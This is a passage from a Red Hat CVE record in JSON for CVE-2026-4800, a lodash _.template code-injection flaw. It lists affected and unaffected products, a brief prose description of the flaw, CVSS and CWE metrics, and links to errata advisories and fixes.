"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10.2"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AppStream (v. 10)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux_eus:10.0"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability EUS (v. 10.0)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10.1",
"cpe:/o:redhat:enterprise_linux:10.2"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability (v. 10)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_aus:8.4::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability AUS (v.8.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus_long_life:8.4::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux HighAvailability EUS EXTENSION (v.8.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:8.6::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.8.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_tus:8.6::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability TUS (v.8.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:8.8::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.8.8)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_tus:8.8::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability TUS (v.8.8)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:9.0::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.9.0)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:9.2::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability E4S (v.9.2)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus:9.4::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability EUS (v.9.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus:9.6::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability EUS (v.9.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux:9::highavailability"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux High Availability (v. 9)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.19::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.22::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.22",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1.18::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps 1.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1.19::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps 1.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift distributed tracing 3.9.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.19::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:9.0::resilientstorage"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux ResilientStorage E4S (v.9.0)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_e4s:9.2::resilientstorage"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux Resilient Storage E4S (v.9.2)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus:9.4::resilientstorage"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux Resilient Storage EUS (v.9.4)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhel_eus:9.6::resilientstorage"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux Resilient Storage EUS (v.9.6)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux:9::resilientstorage"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux Resilient Storage (v. 9)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3.2::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 3.2.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:confidential_compute_attestation:1"
],
"defaultStatus": "affected",
"product": "Confidential Compute Attestation",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Containers",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:workload_availability_nhc:0"
],
"defaultStatus": "affected",
"product": "Node HealthCheck Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_lightspeed"
],
"defaultStatus": "affected",
"product": "OpenShift Lightspeed",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:connectivity_link:1"
],
"defaultStatus": "affected",
"product": "Red Hat Connectivity Link 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:edge_manager:1"
],
"defaultStatus": "affected",
"product": "Red Hat Edge Manager 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:directory_server:11"
],
"defaultStatus": "unaffected",
"product": "Red Hat Directory Server 11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:directory_server:12"
],
"defaultStatus": "unaffected",
"product": "Red Hat Directory Server 12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:directory_server:13"
],
"defaultStatus": "unaffected",
"product": "Red Hat Directory Server 13",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-31T19:25:55.987Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in lodash. The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink. Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function()."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-03T12:04:51.926Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-4800"
},
{
"name": "RHBZ#2453496",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453496"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4800.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24762"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17789"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24331"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11470"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10713"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19008"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11493"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11494"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11495"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11454"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11469"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11516"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:11471"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10710"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19167"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19409"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19410"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13553"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13545"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22619"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19712"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17598"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21658"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17448"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20042"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17469"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17468"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:29795"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20946"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20943"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8483"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8484"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8490"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8491"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8493"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9385"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17549"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17550"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17547"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:12279"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:12277"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14870"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14871"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8498"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10131"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13571"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24762: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:17789: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:24331: Red Hat Enterprise Linux AppStream (v. 10)"
},
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:11470: Red Hat Enterprise Linux High Availability EUS (v. 10.0)"
},
{
"lang": "en",
"value": "RHSA-2026:10713: Red Hat Enterprise Linux High Availability (v. 10)"
},
{
"lang": "en",
"value": "RHSA-2026:19008: Red Hat Enterprise Linux High Availability (v. 10)"
},
{
"lang": "en",
"value": "RHSA-2026:11493: Red Hat Enterprise Linux High Availability AUS (v.8.4), Red Hat Enterprise Linux HighAvailability EUS EXTENSION (v.8.4)"
},
{
"lang": "en",
"value": "RHSA-2026:11494: Red Hat Enterprise Linux High Availability E4S (v.8.6), Red Hat Enterprise Linux High Availability TUS (v.8.6)"
},
{
"lang": "en",
"value": "RHSA-2026:11495: Red Hat Enterprise Linux High Availability E4S (v.8.8), Red Hat Enterprise Linux High Availability TUS (v.8.8)"
},
{
"lang": "en",
"value": "RHSA-2026:11454: Red Hat Enterprise Linux High Availability E4S (v.9.0), Red Hat Enterprise Linux ResilientStorage E4S (v.9.0)"
},
{
"lang": "en",
"value": "RHSA-2026:11469: Red Hat Enterprise Linux High Availability E4S (v.9.2), Red Hat Enterprise Linux Resilient Storage E4S (v.9.2)"
},
{
"lang": "en",
"value": "RHSA-2026:11516: Red Hat Enterprise Linux High Availability EUS (v.9.4), Red Hat Enterprise Linux Resilient Storage EUS (v.9.4)"
},
{
"lang": "en",
"value": "RHSA-2026:11471: Red Hat Enterprise Linux High Availability EUS (v.9.6), Red Hat Enterprise Linux Resilient Storage EUS (v.9.6)"
},
{
"lang": "en",
"value": "RHSA-2026:10710: Red Hat Enterprise Linux High Availability (v. 9), Red Hat Enterprise Linux Resilient Storage (v. 9)"
},
{
"lang": "en",
"value": "RHSA-2026:19167: Red Hat Enterprise Linux High Availability (v. 9), Red Hat Enterprise Linux Resilient Storage (v. 9)"
},
{
"lang": "en",
"value": "RHSA-2026:19409: Migration Toolkit for Virtualization 2.1"
},
{
"lang": "en",
"value": "RHSA-2026:19410: Migration Toolkit for Virtualization 2.9"
},
{
"lang": "en",
